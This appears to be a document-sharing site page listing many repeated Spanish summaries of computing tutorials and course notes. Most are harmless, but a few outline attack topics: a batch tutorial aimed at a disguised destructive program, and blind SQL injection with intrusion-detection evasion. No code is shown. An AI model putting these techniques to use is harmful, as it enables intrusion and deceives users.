El documento proporciona una guía sobre el uso de comandos Batch. Explica conceptos como variables, bucles, comandos IF y FTP. Se dividen los temas en 10 partes que cubren desde los primeros comandos y sintaxis hasta funciones avanzadas como el uso de registros y redireccionamiento. El objetivo es enseñar a los lectores a crear scripts Batch para automatizar tareas.
El documento describe varios tipos de malware como virus, gusanos, troyanos, puertas traseras, keyloggers, botnets, spyware, adware y ransomware. Explica que los virus se propagan infectando otros programas, los gusanos se propagan a otras computadoras explotando vulnerabilidades de red, y los troyanos disfrazan software malicioso como algo inofensivo para engañar a los usuarios.
Este documento presenta información sobre algoritmos secuenciales. Explica las tres partes principales de un algoritmo secuencial: los datos de entrada, el proceso y los datos de salida. También describe conceptos como la asignación de información, operaciones básicas, fórmulas y cómo calcular porcentajes dentro de un algoritmo. Proporciona ejemplos detallados de algoritmos secuenciales para ilustrar estos conceptos.
El documento describe el algoritmo de Dekker para exclusión mutua, el cual permite que dos procesos compartan un recurso sin conflictos. Explica que los primeros intentos de este algoritmo presentaban problemas como alternancia estricta que acoplaba los procesos, interbloqueo cuando fallaba un proceso, y posibilidad de colisión en la región crítica. Finalmente, presenta la solución final del algoritmo de Dekker que garantiza exclusión mutua evitando el interbloqueo.
Como crear Clientes/Servidores en COM-DCOMEliana Ruiz
Este documento describe los pasos para crear un cliente y servidor simples utilizando DCOM. Explica cómo crear un proyecto de servidor en Visual Basic que expone eventos y cómo crear un proyecto de cliente que se conecta al servidor remoto y maneja los eventos. También cubre empaquetar el servidor y cliente, instalarlos, y configurar la seguridad de DCOM en ambos equipos para permitir que el servidor realice devoluciones de llamada al cliente.
El documento describe diferentes tipos de lenguajes formales aceptados por máquinas de Turing y provee ejemplos de máquinas de Turing que reconocen lenguajes específicos. Explica que las máquinas de Turing pueden reconocer lenguajes recursivamente enumerables generados por gramáticas de tipo 0 y describe brevemente lenguajes regulares y libres de contexto reconocidos por autómatas finitos y de pila respectivamente. Luego, provee tres ejemplos detallados de máquinas de Turing que reconocen lenguajes consistente de
Este documento trata sobre interbloqueos en sistemas informáticos. Presenta la historia de los interbloqueos, los recursos involucrados, y cómo se modelan los sistemas y procesos. Explica la definición de interbloqueo, las condiciones necesarias y formas de tratamiento. También cubre el algoritmo del banquero para la prevención de interbloqueos.
El documento describe los conceptos de sistemas de bases de datos monousuario y multiusuario, y la necesidad de controlar la concurrencia cuando varias transacciones acceden y actualizan los mismos datos de forma concurrente. Esto puede dar lugar a problemas como actualizaciones perdidas, lecturas sucias o resúmenes incorrectos si no se controla el orden de ejecución de las operaciones. La teoría de la serializabilidad propone que una planificación concurrente es válida si es equivalente a una ejecución en serie.
Las ventajas de los hilos en Java incluyen que toman menos tiempo para crear y cerrar que los procesos, permiten una comunicación más sencilla entre tareas, y pueden ejecutar múltiples tareas simultáneamente para obtener resultados más rápidos. Las desventajas son que cuando un hilo realiza una llamada al sistema, bloquea a todos los demás hilos del proceso; una mala sincronización entre hilos puede causar inconsistencia de datos; y los hilos dependen más del programa principal que los procesos para recursos.
El documento describe varios tipos de malware como virus, gusanos, troyanos, puertas traseras, keyloggers, botnets, spyware, adware y ransomware. Explica que los virus se propagan infectando otros programas, los gusanos se propagan a otras computadoras explotando vulnerabilidades de red, y los troyanos disfrazan software malicioso como algo inofensivo para engañar a los usuarios.
Este documento presenta información sobre algoritmos secuenciales. Explica las tres partes principales de un algoritmo secuencial: los datos de entrada, el proceso y los datos de salida. También describe conceptos como la asignación de información, operaciones básicas, fórmulas y cómo calcular porcentajes dentro de un algoritmo. Proporciona ejemplos detallados de algoritmos secuenciales para ilustrar estos conceptos.
El documento describe el algoritmo de Dekker para exclusión mutua, el cual permite que dos procesos compartan un recurso sin conflictos. Explica que los primeros intentos de este algoritmo presentaban problemas como alternancia estricta que acoplaba los procesos, interbloqueo cuando fallaba un proceso, y posibilidad de colisión en la región crítica. Finalmente, presenta la solución final del algoritmo de Dekker que garantiza exclusión mutua evitando el interbloqueo.
Como crear Clientes/Servidores en COM-DCOMEliana Ruiz
Este documento describe los pasos para crear un cliente y servidor simples utilizando DCOM. Explica cómo crear un proyecto de servidor en Visual Basic que expone eventos y cómo crear un proyecto de cliente que se conecta al servidor remoto y maneja los eventos. También cubre empaquetar el servidor y cliente, instalarlos, y configurar la seguridad de DCOM en ambos equipos para permitir que el servidor realice devoluciones de llamada al cliente.
El documento describe diferentes tipos de lenguajes formales aceptados por máquinas de Turing y provee ejemplos de máquinas de Turing que reconocen lenguajes específicos. Explica que las máquinas de Turing pueden reconocer lenguajes recursivamente enumerables generados por gramáticas de tipo 0 y describe brevemente lenguajes regulares y libres de contexto reconocidos por autómatas finitos y de pila respectivamente. Luego, provee tres ejemplos detallados de máquinas de Turing que reconocen lenguajes consistente de
Este documento trata sobre interbloqueos en sistemas informáticos. Presenta la historia de los interbloqueos, los recursos involucrados, y cómo se modelan los sistemas y procesos. Explica la definición de interbloqueo, las condiciones necesarias y formas de tratamiento. También cubre el algoritmo del banquero para la prevención de interbloqueos.
El documento describe los conceptos de sistemas de bases de datos monousuario y multiusuario, y la necesidad de controlar la concurrencia cuando varias transacciones acceden y actualizan los mismos datos de forma concurrente. Esto puede dar lugar a problemas como actualizaciones perdidas, lecturas sucias o resúmenes incorrectos si no se controla el orden de ejecución de las operaciones. La teoría de la serializabilidad propone que una planificación concurrente es válida si es equivalente a una ejecución en serie.
Las ventajas de los hilos en Java incluyen que toman menos tiempo para crear y cerrar que los procesos, permiten una comunicación más sencilla entre tareas, y pueden ejecutar múltiples tareas simultáneamente para obtener resultados más rápidos. Las desventajas son que cuando un hilo realiza una llamada al sistema, bloquea a todos los demás hilos del proceso; una mala sincronización entre hilos puede causar inconsistencia de datos; y los hilos dependen más del programa principal que los procesos para recursos.
Unidad 3 topicos avanzados de programacionIrving Che
Este documento describe los componentes, librerías y paquetes en programación. Explica que un componente puede ser visual o no visual, y que los componentes se agrupan en contenedores. También describe el uso de librerías como java.lang y java.io, y cómo los usuarios pueden crear sus propios componentes y paquetes.
Este documento describe varios conceptos clave relacionados con la planificación de procesos en sistemas operativos. Explica la estructura de la planificación, incluyendo estados de procesos, colas de planificación y el despachador. También describe y compara varios algoritmos de planificación comunes como FCFS, SJF, SRTF, planificación por prioridades y Round Robin, así como enfoques más avanzados como planificación con clases de prioridades y múltiples colas realimentadas. El objetivo general es asignar eficiente
Estructura básica general del sistema unixdrportugalb
El documento introduce el sistema operativo Linux/Unix, incluyendo su historia, estructura de directorios estándar, y conceptos básicos como usuarios, grupos, permisos, particionamiento de discos duros e identificación de dispositivos.
Este documento define algoritmo, sus características y razones para estudiarlos. Explica conceptos clave como eficiencia, complejidad y órdenes de complejidad para medir el rendimiento de algoritmos. Describe diferentes tipos de análisis como peor caso, mejor caso y promedio para estimar el tiempo de ejecución en función del tamaño de los datos.
Este documento proporciona una lista de comandos y herramientas de MS-DOS y Windows. Incluye comandos como "ping" y "tracert" para comprobar la conectividad de red, así como herramientas del sistema operativo como el "Administrador de tareas" y el "Explorador de archivos". También enumera varios accesos directos en el menú Inicio y el Panel de control para configurar opciones como dispositivos, usuarios y sonido.
Este documento describe los archivos virtuales y reales. Los archivos virtuales son archivos temporales creados durante la ejecución de un sistema y utilizados para almacenar información de manera temporal, siendo borrados una vez finalizada la ejecución. Los archivos con extensión .tmp son un ejemplo común de archivos virtuales. Por otro lado, los archivos reales contienen programas, datos u otros elementos, mostrando el espacio real que ocupan en un disco duro.
Un hash es el resultado de aplicar una función matemática a un documento u objeto para generar una clave única que lo represente de forma concisa. Las funciones hash se usan comúnmente en tablas hash para acelerar la búsqueda de información mediante el mapeo casi directo de claves a ubicaciones de memoria. Una buena función hash distribuye las claves de forma aleatoria para minimizar las colisiones donde claves diferentes generan la misma salida.
El documento describe diversas llamadas al sistema en UNIX relacionadas con la creación, acceso y gestión de ficheros y procesos. Explica cómo crear y escribir en ficheros mediante creat(), cómo cerrar ficheros con close(), cómo abrir ficheros existentes para lectura/escritura con open(), y cómo gestionar procesos hijos a través de fork(), wait() y exit(). También menciona la comunicación entre procesos con pipe() y dup().
1. Los acuses de recibo sin conexión se utilizan para acusar recibo de los datos recibidos y solicitar la retransmisión de los datos faltantes cuando se implementan protocolos sin conexión en las capas inferiores del Modelo OSI.
2. El protocolo de capa OSI del que depende IP para determinar si se han perdido paquetes y para solicitar la retransmisión es el protocolo de transporte.
3. Los protocolos de capa de transporte incluyen el TCP, que utiliza las ventanas y el secuenciamiento para pro
java Código para calculo de salario de un empleadoCarmen Nereira
Este documento describe un programa Java que calcula el salario de un trabajador basado en su nombre, horas trabajadas y tasa de pago. El programa determina si se deben pagar horas extras y calcula los impuestos si el salario total excede los 900.
cuadro comparativo jerarquico vs democraticoitzelcamas
Este documento describe las ventajas y desventajas de un equipo jerárquico democrático. Un equipo jerárquico democrático distribuye la carga de trabajo entre los miembros del equipo y fomenta la participación en actividades técnicas. Cuenta con una estructura de liderazgo en la que el líder toma las decisiones finales, pero promueve la iniciativa y el trabajo en equipo para alcanzar objetivos comunes. Las desventajas incluyen que el proceso puede ser inicialmente lento, depende de la presen
Este documento describe el entorno de programación Turbo Ensamblador. Explica que un ensamblador, editor de texto y enlazador son necesarios para escribir programas en lenguaje ensamblador. Luego describe a TASM, un popular ensamblador para x86, y los pasos para instalarlo, compilar un programa .asm, enlazarlo y ejecutarlo. Concluye que aunque el ensamblador es un lenguaje de bajo nivel, aún es capaz de cumplir con los requisitos de programación de alto nivel.
Un modelo de arquitectura de dos capas distribuye una aplicación web entre dos componentes lógicos: una capa de presentación que interactúa con los usuarios y una capa de datos que almacena y gestiona la información de forma persistente. Existen tres variantes principales de esta arquitectura dependiendo de cómo se distribuyen estas capas y la lógica de negocio entre el cliente y el servidor.
El documento describe los conceptos de compartir recursos en sistemas distribuidos. Explica que los recursos pueden ser componentes de hardware o entidades de software que pueden ser compartidas. Mientras que los recursos se comparten naturalmente entre usuarios de computadoras multiusuario, los usuarios de estaciones de trabajo individuales no obtienen automáticamente los beneficios de compartir recursos. Para que la compartición de recursos sea efectiva, cada recurso debe ser administrado por un programa que ofrece una interfaz para acceder, manipular y actualizar el recurso de manera confiable y consistente
El documento describe la simulación del modelo OSI tomando como base el protocolo HTTP. Explica brevemente cada una de las 7 capas del modelo OSI y los protocolos involucrados en cada capa como IP, TCP y Ethernet. También describe los campos y funciones de los protocolos IP, TCP, Ethernet y ARP que intervienen en la transmisión de datos a través de Internet cuando un usuario accede a una página web.
Este documento describe los conceptos fundamentales de la seguridad informática. Explica que la seguridad informática se refiere a la protección de la infraestructura computacional y la información almacenada. Identifica las amenazas comunes como acceso físico no autorizado, intercepción de comunicaciones, denegaciones de servicio e intrusiones. También distingue entre la seguridad física y lógica de un sistema.
Este documento describe cómo medir el tiempo de ejecución de un algoritmo. Explica que existen dos formas de medirlo: a posteriori y a priori. También presenta cuatro algoritmos y calcula su orden de magnitud utilizando el contador de frecuencias. El orden de magnitud indica la eficiencia de un algoritmo y puede ser constante, lineal, cuadrático u otros.
El documento describe los métodos de ordenación externa, incluyendo la mezcla directa, la mezcla natural y la mezcla balanceada. La mezcla directa utiliza archivos auxiliares para dividir y combinar registros de forma repetida hasta ordenar todo el archivo. La mezcla natural mejora este método al permitir subsecuencias de longitudes variables. La mezcla balanceada realiza particiones tomando las secuencias ordenadas más largas posibles.
El documento introduce el framework Symfony, incluyendo el patrón MVC, frameworks PHP alternativos, el uso de Doctrine como ORM, formularios, y cómo crear un proyecto Symfony generando módulos de administración.
Este documento presenta una introducción al lenguaje de programación PHP. Explica cómo funciona un servidor web al recibir una solicitud de una página, ya sea estática o dinámica. Luego resume la historia de PHP, comenzando como un conjunto de scripts Perl llamado PHP/FI creado en 1995 para controlar accesos en línea. También cubre cómo dar dinamismo a páginas web tanto en el lado del cliente como en el del servidor, e introduce conceptos como instalación de Apache y PHP.
Unidad 3 topicos avanzados de programacionIrving Che
Este documento describe los componentes, librerías y paquetes en programación. Explica que un componente puede ser visual o no visual, y que los componentes se agrupan en contenedores. También describe el uso de librerías como java.lang y java.io, y cómo los usuarios pueden crear sus propios componentes y paquetes.
Este documento describe varios conceptos clave relacionados con la planificación de procesos en sistemas operativos. Explica la estructura de la planificación, incluyendo estados de procesos, colas de planificación y el despachador. También describe y compara varios algoritmos de planificación comunes como FCFS, SJF, SRTF, planificación por prioridades y Round Robin, así como enfoques más avanzados como planificación con clases de prioridades y múltiples colas realimentadas. El objetivo general es asignar eficiente
Estructura básica general del sistema unixdrportugalb
El documento introduce el sistema operativo Linux/Unix, incluyendo su historia, estructura de directorios estándar, y conceptos básicos como usuarios, grupos, permisos, particionamiento de discos duros e identificación de dispositivos.
Este documento define algoritmo, sus características y razones para estudiarlos. Explica conceptos clave como eficiencia, complejidad y órdenes de complejidad para medir el rendimiento de algoritmos. Describe diferentes tipos de análisis como peor caso, mejor caso y promedio para estimar el tiempo de ejecución en función del tamaño de los datos.
Este documento proporciona una lista de comandos y herramientas de MS-DOS y Windows. Incluye comandos como "ping" y "tracert" para comprobar la conectividad de red, así como herramientas del sistema operativo como el "Administrador de tareas" y el "Explorador de archivos". También enumera varios accesos directos en el menú Inicio y el Panel de control para configurar opciones como dispositivos, usuarios y sonido.
Este documento describe los archivos virtuales y reales. Los archivos virtuales son archivos temporales creados durante la ejecución de un sistema y utilizados para almacenar información de manera temporal, siendo borrados una vez finalizada la ejecución. Los archivos con extensión .tmp son un ejemplo común de archivos virtuales. Por otro lado, los archivos reales contienen programas, datos u otros elementos, mostrando el espacio real que ocupan en un disco duro.
Un hash es el resultado de aplicar una función matemática a un documento u objeto para generar una clave única que lo represente de forma concisa. Las funciones hash se usan comúnmente en tablas hash para acelerar la búsqueda de información mediante el mapeo casi directo de claves a ubicaciones de memoria. Una buena función hash distribuye las claves de forma aleatoria para minimizar las colisiones donde claves diferentes generan la misma salida.
El documento describe diversas llamadas al sistema en UNIX relacionadas con la creación, acceso y gestión de ficheros y procesos. Explica cómo crear y escribir en ficheros mediante creat(), cómo cerrar ficheros con close(), cómo abrir ficheros existentes para lectura/escritura con open(), y cómo gestionar procesos hijos a través de fork(), wait() y exit(). También menciona la comunicación entre procesos con pipe() y dup().
1. Los acuses de recibo sin conexión se utilizan para acusar recibo de los datos recibidos y solicitar la retransmisión de los datos faltantes cuando se implementan protocolos sin conexión en las capas inferiores del Modelo OSI.
2. El protocolo de capa OSI del que depende IP para determinar si se han perdido paquetes y para solicitar la retransmisión es el protocolo de transporte.
3. Los protocolos de capa de transporte incluyen el TCP, que utiliza las ventanas y el secuenciamiento para pro
java Código para calculo de salario de un empleadoCarmen Nereira
Este documento describe un programa Java que calcula el salario de un trabajador basado en su nombre, horas trabajadas y tasa de pago. El programa determina si se deben pagar horas extras y calcula los impuestos si el salario total excede los 900.
cuadro comparativo jerarquico vs democraticoitzelcamas
Este documento describe las ventajas y desventajas de un equipo jerárquico democrático. Un equipo jerárquico democrático distribuye la carga de trabajo entre los miembros del equipo y fomenta la participación en actividades técnicas. Cuenta con una estructura de liderazgo en la que el líder toma las decisiones finales, pero promueve la iniciativa y el trabajo en equipo para alcanzar objetivos comunes. Las desventajas incluyen que el proceso puede ser inicialmente lento, depende de la presen
Este documento describe el entorno de programación Turbo Ensamblador. Explica que un ensamblador, editor de texto y enlazador son necesarios para escribir programas en lenguaje ensamblador. Luego describe a TASM, un popular ensamblador para x86, y los pasos para instalarlo, compilar un programa .asm, enlazarlo y ejecutarlo. Concluye que aunque el ensamblador es un lenguaje de bajo nivel, aún es capaz de cumplir con los requisitos de programación de alto nivel.
Un modelo de arquitectura de dos capas distribuye una aplicación web entre dos componentes lógicos: una capa de presentación que interactúa con los usuarios y una capa de datos que almacena y gestiona la información de forma persistente. Existen tres variantes principales de esta arquitectura dependiendo de cómo se distribuyen estas capas y la lógica de negocio entre el cliente y el servidor.
El documento describe los conceptos de compartir recursos en sistemas distribuidos. Explica que los recursos pueden ser componentes de hardware o entidades de software que pueden ser compartidas. Mientras que los recursos se comparten naturalmente entre usuarios de computadoras multiusuario, los usuarios de estaciones de trabajo individuales no obtienen automáticamente los beneficios de compartir recursos. Para que la compartición de recursos sea efectiva, cada recurso debe ser administrado por un programa que ofrece una interfaz para acceder, manipular y actualizar el recurso de manera confiable y consistente
El documento describe la simulación del modelo OSI tomando como base el protocolo HTTP. Explica brevemente cada una de las 7 capas del modelo OSI y los protocolos involucrados en cada capa como IP, TCP y Ethernet. También describe los campos y funciones de los protocolos IP, TCP, Ethernet y ARP que intervienen en la transmisión de datos a través de Internet cuando un usuario accede a una página web.
Este documento describe los conceptos fundamentales de la seguridad informática. Explica que la seguridad informática se refiere a la protección de la infraestructura computacional y la información almacenada. Identifica las amenazas comunes como acceso físico no autorizado, intercepción de comunicaciones, denegaciones de servicio e intrusiones. También distingue entre la seguridad física y lógica de un sistema.
Este documento describe cómo medir el tiempo de ejecución de un algoritmo. Explica que existen dos formas de medirlo: a posteriori y a priori. También presenta cuatro algoritmos y calcula su orden de magnitud utilizando el contador de frecuencias. El orden de magnitud indica la eficiencia de un algoritmo y puede ser constante, lineal, cuadrático u otros.
El documento describe los métodos de ordenación externa, incluyendo la mezcla directa, la mezcla natural y la mezcla balanceada. La mezcla directa utiliza archivos auxiliares para dividir y combinar registros de forma repetida hasta ordenar todo el archivo. La mezcla natural mejora este método al permitir subsecuencias de longitudes variables. La mezcla balanceada realiza particiones tomando las secuencias ordenadas más largas posibles.
El documento introduce el framework Symfony, incluyendo el patrón MVC, frameworks PHP alternativos, el uso de Doctrine como ORM, formularios, y cómo crear un proyecto Symfony generando módulos de administración.
Este documento presenta una introducción al lenguaje de programación PHP. Explica cómo funciona un servidor web al recibir una solicitud de una página, ya sea estática o dinámica. Luego resume la historia de PHP, comenzando como un conjunto de scripts Perl llamado PHP/FI creado en 1995 para controlar accesos en línea. También cubre cómo dar dinamismo a páginas web tanto en el lado del cliente como en el del servidor, e introduce conceptos como instalación de Apache y PHP.
Este documento presenta una introducción al lenguaje de programación PHP. PHP se usa principalmente para crear páginas web dinámicas mediante la interpretación del lado del servidor. El documento describe la sintaxis básica de PHP, incluidos tipos de datos, variables, constantes, expresiones, estructuras de control y funciones. También cubre temas como arrays, bibliotecas de funciones y la diferencia entre páginas web estáticas y dinámicas.
SNAP es una herramienta CASE para desarrollar aplicaciones en sistemas AS/400 de IBM. Proporciona un entorno integral de trabajo siguiendo estándares SAA de IBM. Implementa el esquema entidad-relación y genera automáticamente la base de datos y programas nativos de AS/400. Incluye utilitarios para definir estándares, documentar, regenerar sistemas, y controlar el acceso al repositorio central con cinco niveles de seguridad.
Este documento presenta una guía de aprendizaje de Python. Python es un potente lenguaje de programación de código abierto que es fácil de aprender e incluye estructuras de datos avanzadas y programación orientada a objetos. La guía introduce los conceptos y características básicas de Python como cálculos, control de flujo, funciones, estructuras de datos, módulos, E/S y más, preparando al lector para aprender y utilizar la biblioteca estándar de Python.
Este documento presenta las principales modificaciones y características del lenguaje C++. Comienza describiendo modificaciones menores realizadas respecto a C, como el cambio en la extensión de los archivos (.cpp), la introducción de comentarios con doble barra, y simplificaciones en la declaración de variables enumeradas y estructuradas. Luego explica modificaciones mayores relacionadas con la programación orientada a objetos en C++, incluyendo clases, herencia, polimorfismo, y temas avanzados como plantillas y manejo de excepc
Este documento presenta preguntas y respuestas sobre diferentes tipos de actuadores, con un enfoque en los actuadores eléctricos. Explica que los actuadores son dispositivos que permiten ejecutar acciones, y clasifica los actuadores según la energía que utilizan, incluyendo neumáticos, hidráulicos y eléctricos. Luego describe varios tipos de actuadores eléctricos como relés, motores de corriente continua, servomotores y motores paso a paso, explicando sus características y aplicaciones.
Este documento describe las primitivas básicas de dibujo en 3D en OpenGL, incluyendo puntos, líneas, triángulos, cuadriláteros y polígonos generales. Explica cómo dibujar estas primitivas, ajustar sus propiedades como el tamaño y grosor, y cómo crear mallas para rellenar superficies. También cubre temas como la visualización de caras frontales y posteriores, modos de dibujo y reglas para los polígonos.
El documento describe el método de bisección para encontrar raíces de una función. Este método involucra repetidamente dividir el intervalo que contiene la raíz a la mitad basado en si la función es positiva o negativa a mitad del intervalo, hasta que la aproximación a la raíz cambia menos de un porcentaje especificado. Se provee un ejemplo completo de aplicar este método para encontrar la raíz de la función x4 + 3x3 - 2 hasta un error porcentual del 1%.
El documento describe los pasos para configurar PostgreSQL en un entorno de desarrollo local, incluyendo la creación de un usuario con privilegios de superusuario, la creación de bases de datos y tablas, y la inserción de datos. Explica cómo crear un usuario con los mismos privilegios que el usuario del sistema, permitiendo ejecutar comandos PostgreSQL sin necesidad de especificar credenciales. Además, describe cómo crear bases de datos y tablas, y poblar las tablas con datos de ejemplo.
Este documento presenta un tutorial extenso sobre programación batch, comenzando con una definición de los archivos batch y cómo se crean. Luego explica comandos básicos como ECHO, CD, PAUSE y EXIT, así como conceptos como redireccionamiento, variables, condiciones IF y etiquetas. Finalmente, cubre temas más avanzados como bombas lógicas, contraseñas y el uso de variables predefinidas. El objetivo general es proporcionar a los lectores una introducción completa a la programación batch para que puedan empezar a crear sus
El documento proporciona ejemplos del uso de comandos "exit" y "if" en archivos batch de Windows. Explica cómo el comando "exit" cierra el programa una vez completada la sección actual, mientras que sin él el programa continuaría ejecutando las siguientes secciones. También muestra cómo usar múltiples condiciones "if" para dirigir el flujo del programa según la entrada del usuario y tratar errores con una sección "error".
Este documento presenta el primer programa en C de un curso de programación. Explica los conceptos básicos del lenguaje C como variables, tipos de datos, operadores aritméticos y muestra el código de un programa simple que imprime "Hola Mundo".
Este documento presenta un curso introductorio sobre programación en lenguaje Batch. Explica que Batch es un lenguaje de programación creado originalmente por Windows para automatizar tareas. Proporciona instrucciones básicas sobre cómo crear y ejecutar archivos .bat y describe algunos comandos y conceptos clave como redirección de entrada/salida y uso de rutas. El objetivo es enseñar los fundamentos de Batch de una manera fácil de entender para principiantes.
El documento proporciona información sobre comandos de consola y administración de sistemas operativos, incluyendo comandos como net y ejemplos de su uso para agregar usuarios y grupos. También describe la creación y ejecución de archivos batch, así como estructuras de control de flujo y datos comunes en este tipo de archivos.
El documento describe los conceptos básicos de programación en shell, incluyendo la creación de scripts, variables, líneas de comandos, salida de programas, operaciones aritméticas, condicionales, y bucles. Se proporcionan ejemplos de código shell simple y seis ejercicios para practicar estos conceptos.
Este documento proporciona una introducción a MATLAB, incluyendo: 1) Cómo trabajar con vectores, funciones y representarlas gráficamente; 2) Los mandatos básicos como help, clear y diary; 3) Cómo definir y manipular variables, vectores y matrices; 4) Funciones incorporadas como eye, zeros y rand. El objetivo es aprender las herramientas básicas de MATLAB para aplicarlas a cálculos numéricos.
Este documento proporciona una introducción a MATLAB, incluyendo: 1) Cómo trabajar con vectores, funciones y representarlas gráficamente; 2) Los mandatos básicos como help, clear y diary; 3) Cómo definir y manipular variables, vectores y matrices; 4) Funciones incorporadas como eye, zeros y rand. El objetivo es aprender las herramientas básicas de MATLAB para aplicarlas a cálculos matemáticos y de ingeniería.
Este documento contiene notas sobre varios temas de programación en C y C++. Incluye una introducción al lenguaje C en comparación con Pseint, explicaciones sobre tipos de variables, condicionales if-else, bucles for, while y do-while, arreglos, arreglos de estructuras, funciones, tablas ASCII y operadores. También cubre temas como ficheros, lectura y escritura de estructuras en ficheros y la función switch. Por último, incluye apuntes sobre un proyecto final.
Este documento ofrece instrucciones para crear programas sencillos en lenguaje de comandos de batch (extension .bat) en Windows. Explica cómo crear un archivo de texto plano con extension .txt, agregar líneas de comando como @echo off, echo, pause y cambiar la extensión a .bat para ejecutarlo. El objetivo final parece ser enseñar a crear programas destructivos, aunque el documento termina antes de dar esos detalles.
1. Este documento introduce el uso básico de MATLAB para trabajar con vectores, funciones y matrices. MATLAB permite realizar cálculos numéricos de manera interactiva mediante comandos de una línea.
2. Se explican comandos básicos como help, clear, diary y format para obtener ayuda, limpiar variables, guardar sesiones y establecer la precisión numérica. También se describen cómo crear, editar y operar con vectores, matrices y funciones en MATLAB.
3. El documento concluye explicando cómo crear y manipular matrices usuales
Este documento discute las diferentes funciones para leer cadenas en C y sus pros y contras, incluyendo scanf, gets y fgets. Explica que fgets es la mejor opción ya que lee cadenas de forma segura sin causar desbordamientos de buffer. También describe cómo limpiar el buffer después de usar scanf para evitar errores al usar fgets después. Finalmente, presenta una función de ejemplo que usa fgets de forma segura para leer cadenas del usuario.
El documento describe varios comandos y funciones útiles del shell bash de Linux. Estos incluyen ejecutar procesos en segundo plano con "&", ver procesos en segundo plano con "jobs", mover procesos entre primer y segundo plano con "fg" y "bg", y acceder al historial de comandos con las teclas de flecha y "history". También describe cómo crear y usar scripts de shell mediante variables, estructuras condicionales como "if/then/else" y bucles "for" y "while".
Este documento introduce los conceptos básicos de la programación en batch y cómo crear un archivo .bat. Explica que un archivo batch contiene una serie de instrucciones que la computadora ejecutará secuencialmente, y guía al lector en la creación de un archivo de texto plano con extensión .bat para contener dichas instrucciones. El objetivo final parece ser enseñar cómo crear un programa destructivo disfrazado de constructivo.
Este documento introduce los conceptos básicos de la programación en batch y cómo crear un archivo .bat. Explica que un archivo batch contiene una serie de instrucciones que la computadora ejecutará secuencialmente, y guía al lector en la creación de un archivo de texto plano con extensión .bat para contener dichas instrucciones. El objetivo final parece ser enseñar cómo crear un programa destructivo disfrazado de constructivo.
Este documento presenta una introducción al lenguaje de programación VBA para Access. Explica brevemente qué son las macros y sus limitaciones, y cómo convertir macros en procedimientos de código para tener más control y posibilidades. También introduce conceptos básicos como cómo escribir procedimientos, ejecutarlos, y utilizar variables.
Este documento explica qué son los archivos batch y cómo crearlos y usarlos. Los archivos batch contienen líneas de código escritas en el lenguaje de MS-DOS que se ejecutan secuencialmente cuando se ejecuta el archivo. Estos archivos son útiles para automatizar tareas como hacer copias de seguridad, limpiar el sistema y descargar archivos. Para crear un archivo batch, se usa un editor de texto simple y se escriben comandos como ECHO, COPY y PAUSE.
El documento introduce los comandos básicos de la consola, incluyendo cd para cambiar de directorio, ls para listar archivos, y top para mostrar procesos. Explica el uso de cada comando con ejemplos y provee detalles adicionales como la diferencia entre mayúsculas y minúsculas en Linux y cómo funciona copiar y pegar en la consola.
El documento describe las reglas sintácticas de varios lenguajes de programación como C, Java, Visual Basic y SQL. Explica que la sintaxis define las estructuras y formatos permitidos en un lenguaje para que el programa sea reconocido como válido.
El documento explica los punteros a funciones y la función Bolzano para encontrar raíces. Los punteros a funciones almacenan la dirección de memoria de una función y permiten pasar funciones como parámetros o almacenar funciones en matrices. La función Bolzano itera entre dos valores para encontrar el cero de una función pasada como puntero, devolviendo el valor encontrado o un error si no se puede aplicar el método.
Este documento introduce los conceptos de programación orientada a objetos (POO) y el patrón de arquitectura de software MVC (Modelo Vista Controlador) en PHP. Explica elementos básicos de la POO como clases, objetos, métodos y propiedades. Luego introduce el patrón MVC describiendo las funciones del modelo, la vista y el controlador. Incluye ejemplos de código en PHP para ilustrar los conceptos.
Este documento proporciona una introducción a HTML5 y CSS3. Explica algunas de las nuevas características de HTML5 como los nuevos elementos semánticos como <header>, <footer>, <nav>, <article>, etc. También cubre las nuevas características de formularios en HTML5 como placeholder, autofocus, nuevos tipos de entrada como email, url, número de teléfono, etc. Además, introduce las nuevas APIs de HTML5 como Canvas, Audio, Video, almacenamiento web y drag and drop.
Este documento presenta una serie de ejercicios de programación en C resueltos. Los ejercicios cubren temas como estructuras de control, funciones, vectores, matrices, entrada y salida, y algoritmos numéricos. Cada ejercicio viene acompañado de su solución comentada. El documento está organizado en ocho prácticas con múltiples ejercicios cada una, cubriendo conceptos y técnicas de programación cada vez más avanzados.
El documento describe los tipos de ataques SQL Injection y cómo explotar vulnerabilidades ciegas de SQL Injection para extraer información de bases de datos. Explica métodos para descargar archivos de forma remota de bases de datos vulnerables, así como herramientas y técnicas para automatizar ataques ciegos de SQL Injection. También proporciona consejos para identificar objetivos clave y evadir sistemas de detección de intrusos durante ataques de SQL Injection.
This document provides an introduction and overview of batch file programming in Microsoft Windows. It discusses what batch files are, how they are created using text editors, and how they differ from interactive and batch modes. It also provides examples of basic batch file commands like ECHO and PAUSE. The document lists and describes many common internal and external commands that can be used in batch files to perform tasks and calls applications. It aims to help novice to advanced programmers understand batch file programming.
This document provides instructions for configuring a network with three switches (S1, S2, S3) and three host PCs using various VLANs and Spanning Tree Protocol (STP). The tasks include preparing the network topology, clearing switch configurations, configuring host PCs, enabling VLANs through VTP, configuring trunk links and native VLANs, and verifying STP operation.
Los corchetes [ ] y guiones largos (--) se utilizan principalmente para incorporar información adicional o aclaratoria de forma similar a los paréntesis. Los corchetes también se usan para indicar cuando parte de un texto ha sido omitido o cuando palabras de un verso no caben en la línea anterior. El guión largo puede usarse para encerrar incisos o interrupciones en un discurso.
El documento describe diferentes tipos de sensores de presión, clasificándolos en mecánicos, neumáticos, electromecánicos y electrónicos. Entre los sensores mecánicos se encuentran los tubos de Burdón, elementos en espiral, diafragmas y fuelles. Los sensores electromecánicos convierten la señal mecánica en eléctrica usando resistencias, imanes o efectos piezoeléctricos. Finalmente, los sensores electrónicos de vacío incluyen térmicos, de ionización y de
Los actuadores son dispositivos mecánicos que proporcionan fuerza para mover otro dispositivo. Existen tres tipos principales de actuadores dependiendo de la fuente de fuerza: neumáticos (presión de aire), hidráulicos (presión hidráulica) y eléctricos (motor eléctrico). Los actuadores rotatorios generan fuerza rotatoria y pueden ser neumáticos, hidráulicos o eléctricos. El dimensionamiento de un actuador requiere determinar el torque necesario y elegir un modelo a
El documento describe diferentes métodos de diferenciación numérica por 3 y 5 puntos para aproximar la derivada de una función. Presenta las fórmulas para aproximar la derivada usando puntos hacia la derecha, izquierda y en el medio para 3 puntos, y una fórmula para 5 puntos. Luego aplica los métodos a una función exponencial para comparar los errores obtenidos.
